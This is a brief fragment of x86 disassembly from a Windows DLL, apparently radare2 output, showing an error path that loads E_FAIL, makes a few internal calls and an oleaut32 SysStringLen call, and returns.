mov esi, 0x80004005
jmp 0x10013578
mov ecx, dword [ebx + 0x14]
push dword [ebp - 0x21c]
add ecx, 0x24
call fcn.100115c6
push eax
lea ecx, [ebx + 0x10]
call fcn.100115c6
push dword [ebp - 0x220]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, esi
call fcn.10016faf
ret 0xc